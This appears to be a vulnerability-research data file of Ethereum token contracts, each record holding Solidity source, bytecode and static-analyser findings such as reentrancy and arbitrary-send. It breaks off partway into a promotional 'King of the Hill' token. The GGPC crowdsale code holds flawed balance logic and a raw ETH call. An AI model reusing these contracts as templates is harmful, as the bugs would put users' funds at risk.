472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220528b89bbd311e051189490a6a8f5c9edbe9d612dff224191129f0aa8877a5cf764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,520
0x948c2cabbfe5d1847071eec821641e54655200e9
pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title BurnableToken */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } /** * @title Unicron Token * @dev ERC20 Unicron Token (UCN) */ contract UnicronToken is StandardToken, Pausable,BurnableToken { string public constant name = 'Unicron'; // Set the token name for display string public constant symbol = 'UCN'; // Set the token symbol for display uint8 public constant decimals = 18; // Set the number of decimals for display uint256 public constant INITIAL_SUPPLY = 500000000 * (10 ** uint256(decimals)); /** * @dev SesnseToken Constructor * Runs only on initial contract creation. */ function UnicronToken() { totalSupply = INITIAL_SUPPLY; // Set the total supply balances[msg.sender] = INITIAL_SUPPLY; // Creator address is assigned all Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * @dev Transfer token for a specified address when not paused * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another when not paused * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c057806323b872dd146101e55780632ff2e9dc1461020d578063313ce567146102205780633f4ba83a1461024957806342966c681461025e5780635c975abb14610274578063661884631461028757806370a08231146102a95780638456cb59146102c85780638da5cb5b146102db57806395d89b411461030a578063a9059cbb1461031d578063d73dd6231461033f578063dd62ed3e14610361578063f2fde38b14610386575b600080fd5b341561010b57600080fd5b6101136103a5565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a03600435166024356103dc565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101d3610407565b60405190815260200160405180910390f35b34156101f057600080fd5b6101ac600160a060020a036004358116906024351660443561040d565b341561021857600080fd5b6101d361044f565b341561022b57600080fd5b61023361045f565b60405160ff909116815260200160405180910390f35b341561025457600080fd5b61025c610464565b005b341561026957600080fd5b61025c6004356104e3565b341561027f57600080fd5b6101ac6105ac565b341561029257600080fd5b6101ac600160a060020a03600435166024356105bc565b34156102b457600080fd5b6101d3600160a060020a03600435166106b6565b34156102d357600080fd5b61025c6106d1565b34156102e657600080fd5b6102ee610755565b604051600160a060020a03909116815260200160405180910390f35b341561031557600080fd5b610113610764565b341561032857600080fd5b6101ac600160a060020a036004351660243561079b565b341561034a57600080fd5b6101ac600160a060020a03600435166024356107d4565b341561036c57600080fd5b6101d3600160a060020a0360043581169060243516610878565b341561039157600080fd5b61025c600160a060020a03600435166108a3565b60408051908101604052600781527f556e6963726f6e00000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156103f657600080fd5b610400838361093e565b9392505050565b60005481565b60035460009060a060020a900460ff161561042757600080fd5b600160a060020a038316151561043c57600080fd5b6104478484846109aa565b949350505050565b6b019d971e4fe8401e7400000081565b601281565b60035433600160a060020a0390811691161461047f57600080fd5b60035460a060020a900460ff16151561049757600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008082116104f157600080fd5b600160a060020a03331660009081526001602052604090205482111561051657600080fd5b5033600160a060020a03811660009081526001602052604090205461053b9083610b2c565b600160a060020a03821660009081526001602052604081209190915554610568908363ffffffff610b2c16565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b60035460a060020a900460ff1681565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561061957600160a060020a033381166000908152600260209081526040808320938816835292905290812055610650565b610629818463ffffffff610b2c16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a039081169116146106ec57600080fd5b60035460a060020a900460ff161561070357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600381527f55434e0000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156107b557600080fd5b600160a060020a03831615156107ca57600080fd5b6104008383610b3e565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461080c908363ffffffff610c3916565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146108be57600080fd5b600160a060020a03811615156108d357600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156109c157600080fd5b600160a060020a0384166000908152600160205260409020548211156109e657600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a1957600080fd5b600160a060020a038416600090815260016020526040902054610a42908363ffffffff610b2c16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610a77908363ffffffff610c3916565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610abf908363ffffffff610b2c16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610b3857fe5b50900390565b6000600160a060020a0383161515610b5557600080fd5b600160a060020a033316600090815260016020526040902054821115610b7a57600080fd5b600160a060020a033316600090815260016020526040902054610ba3908363ffffffff610b2c16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610bd8908363ffffffff610c3916565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60008282018381101561040057fe00a165627a7a723058202e7fa2778410f9737f035ab88b16dca3d7991b38bcad86afa04300b345704ce20029
{"success": true, "error": null, "results": {}}
2,521
0xec5d12f5afb106e97d7a97c86c2b373d3bd2e815
pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title Pausable token * * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } } /** * @title Crowdsale token * * @dev Crowdsale supported. **/ contract Crowdsale is PausableToken { uint8 public decimals = 18; uint256 public ownerSupply = 18900000000 * (10 ** uint256(decimals)); uint256 public supplyLimit = 21000000000 * (10 ** uint256(decimals)); uint256 public crowdsaleSupply = 0; uint256 public crowdsalePrice = 20000; uint256 public crowdsaleTotal = 2100000000 * (10 ** uint256(decimals)); uint256 public limit = 2 * (10 ** uint256(decimals)); function crowdsale() public payable returns (bool) { require(msg.value >= limit); uint256 vv = msg.value; uint256 coin = crowdsalePrice.mul(vv); require(coin.add(totalSupply) <= supplyLimit); require(crowdsaleSupply.add(coin) <= crowdsaleTotal); balances[msg.sender] = coin.add(balances[msg.sender]); totalSupply = totalSupply.add(coin); crowdsaleSupply = crowdsaleSupply.add(coin); balances[msg.sender] = coin; require(owner.call.value(msg.value)()); return true; } } /** * @title GGPC Token * * @dev Implementation of GGPC Token based on the basic standard token. */ contract GGPCToken is Crowdsale { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name = "Global game payment currency"; string public symbol = "GGPC"; string public version = '1.0.2'; function GGPCToken() public { totalSupply = ownerSupply; balances[msg.sender] = ownerSupply; } function () public { //if ether is sent to this address, send it back. revert(); } }
0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610137578063095ea7b3146101c15780631207bb8e146101f757806318160ddd1461021c57806319d1997a1461022f57806323b872dd1461024257806325f96b731461026a578063313ce5671461027d5780633f4ba83a146102a657806354fd4d50146102bb5780635c975abb146102ce57806370a08231146102e15780638456cb59146103005780638da5cb5b1461031357806395d89b41146103425780639c1e03a014610355578063a4d66daf1461035d578063a9059cbb14610370578063aff1e0de14610392578063cdcb3cdb146103a5578063dd62ed3e146103b8578063f2fde38b146103dd575b341561013257600080fd5b600080fd5b341561014257600080fd5b61014a6103fc565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018657808201518382015260200161016e565b50505050905090810190601f1680156101b35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101cc57600080fd5b6101e3600160a060020a036004351660243561049a565b604051901515815260200160405180910390f35b341561020257600080fd5b61020a6104c5565b60405190815260200160405180910390f35b341561022757600080fd5b61020a6104cb565b341561023a57600080fd5b61020a6104d1565b341561024d57600080fd5b6101e3600160a060020a03600435811690602435166044356104d7565b341561027557600080fd5b61020a610504565b341561028857600080fd5b61029061050a565b60405160ff909116815260200160405180910390f35b34156102b157600080fd5b6102b961052c565b005b34156102c657600080fd5b61014a6105ab565b34156102d957600080fd5b6101e3610616565b34156102ec57600080fd5b61020a600160a060020a0360043516610626565b341561030b57600080fd5b6102b9610641565b341561031e57600080fd5b6103266106c5565b604051600160a060020a03909116815260200160405180910390f35b341561034d57600080fd5b61014a6106d4565b6101e361073f565b341561036857600080fd5b61020a61086e565b341561037b57600080fd5b6101e3600160a060020a0360043516602435610874565b341561039d57600080fd5b61020a610898565b34156103b057600080fd5b61020a61089e565b34156103c357600080fd5b61020a600160a060020a03600435811690602435166108a4565b34156103e857600080fd5b6102b9600160a060020a03600435166108cf565b600a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104925780601f1061046757610100808354040283529160200191610492565b820191906000526020600020905b81548152906001019060200180831161047557829003601f168201915b505050505081565b60035460009060a060020a900460ff16156104b457600080fd5b6104be838361096a565b9392505050565b60075481565b60005481565b60055481565b60035460009060a060020a900460ff16156104f157600080fd5b6104fc8484846109d6565b949350505050565b60045481565b6003547501000000000000000000000000000000000000000000900460ff1681565b60035433600160a060020a0390811691161461054757600080fd5b60035460a060020a900460ff16151561055f57600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104925780601f1061046757610100808354040283529160200191610492565b60035460a060020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b60035433600160a060020a0390811691161461065c57600080fd5b60035460a060020a900460ff161561067357600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104925780601f1061046757610100808354040283529160200191610492565b6000806000600954341015151561075557600080fd5b60075434925061076b908363ffffffff610b6616565b905060055461078560005483610b8a90919063ffffffff16565b111561079057600080fd5b6008546006546107a6908363ffffffff610b8a16565b11156107b157600080fd5b600160a060020a0333166000908152600160205260409020546107db90829063ffffffff610b8a16565b600160a060020a03331660009081526001602052604081209190915554610808908263ffffffff610b8a16565b60005560065461081e908263ffffffff610b8a16565b600655600160a060020a03338116600090815260016020526040908190208390556003549091169034905160006040518083038185875af192505050151561086557600080fd5b60019250505090565b60095481565b60035460009060a060020a900460ff161561088e57600080fd5b6104be8383610b99565b60085481565b60065481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146108ea57600080fd5b600160a060020a03811615156108ff57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a03831615156109ed57600080fd5b600082118015610a155750600160a060020a0384166000908152600160205260409020548211155b1515610a2057600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a5357600080fd5b600160a060020a038416600090815260016020526040902054610a7c908363ffffffff610ca216565b600160a060020a038086166000908152600160205260408082209390935590851681522054610ab1908363ffffffff610b8a16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610af9908363ffffffff610ca216565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000828202831580610b825750828482811515610b7f57fe5b04145b15156104be57fe5b6000828201838110156104be57fe5b6000600160a060020a0383161515610bb057600080fd5b600082118015610bd85750600160a060020a0333166000908152600160205260409020548211155b1515610be357600080fd5b600160a060020a033316600090815260016020526040902054610c0c908363ffffffff610ca216565b600160a060020a033381166000908152600160205260408082209390935590851681522054610c41908363ffffffff610b8a16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600082821115610cae57fe5b509003905600a165627a7a7230582082ce106b1349e7a9f768ba6d8030fba95894d19c807d8012eb1f5cccf5dcab700029
{"success": true, "error": null, "results": {}}
2,522
0x0c6173feb70e6db560bc89ac014cb5d97583b111
/** *Submitted for verification at Etherscan.io on 2022-03-03 */ /** KKKKKKKKK KKKKKKKIIIIIIIIIINNNNNNNN NNNNNNNN GGGGGGGGGGGGG K:::::::K K:::::KI::::::::IN:::::::N N::::::N GGG::::::::::::G K:::::::K K:::::KI::::::::IN::::::::N N::::::N GG:::::::::::::::G K:::::::K K::::::KII::::::IIN:::::::::N N::::::N G:::::GGGGGGGG::::G KK::::::K K:::::KKK I::::I N::::::::::N N::::::N G:::::G GGGGGG K:::::K K:::::K I::::I N:::::::::::N N::::::NG:::::G K::::::K:::::K I::::I N:::::::N::::N N::::::NG:::::G K:::::::::::K I::::I N::::::N N::::N N::::::NG:::::G GGGGGGGGGG K:::::::::::K I::::I N::::::N N::::N:::::::NG:::::G G::::::::G K::::::K:::::K I::::I N::::::N N:::::::::::NG:::::G GGGGG::::G K:::::K K:::::K I::::I N::::::N N::::::::::NG:::::G G::::G KK::::::K K:::::KKK I::::I N::::::N N:::::::::N G:::::G G::::G K:::::::K K::::::KII::::::IIN::::::N N::::::::N G:::::GGGGGGGG::::G K:::::::K K:::::KI::::::::IN::::::N N:::::::N GG:::::::::::::::G K:::::::K K:::::KI::::::::IN::::::N N::::::N GGG::::::GGG:::G KKKKKKKKK KKKKKKKIIIIIIIIIINNNNNNNN NNNNNNN GGGGGG GGGG 🔥 There is a war to be King. Whoever is the King commands the whole army and the taxes from it's subjects, 6% reflections, but the King holder will always have a target on their back. With every sell, the King gets richer and richer... but with every buy comes the threat of a new challenger. Do you have what it takes to rule? 🔥 🏁 The rules of the game. 🏁 ▶️ If you make the biggest buy (in ETH) you will be the King for 30 minutes, and collect 6% of traded volume (in ETH) the same way marketing does. ‍Once 30 minutes is up, the counter will be reset and everyone will be able to compete again to be King. ▶️ If you sell any tokens at all at any point you will lose your kingdom. ▶️ If someone beats your record, they become the King. Twitter: https://twitter.com/King_Of_Ze_Hill Telegram: https://t.me/KingoftheHill_Entry */ pragma solidity ^0.7.4; // SPDX-License-Identifier: Unlicensed library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Auth { address internal owner; 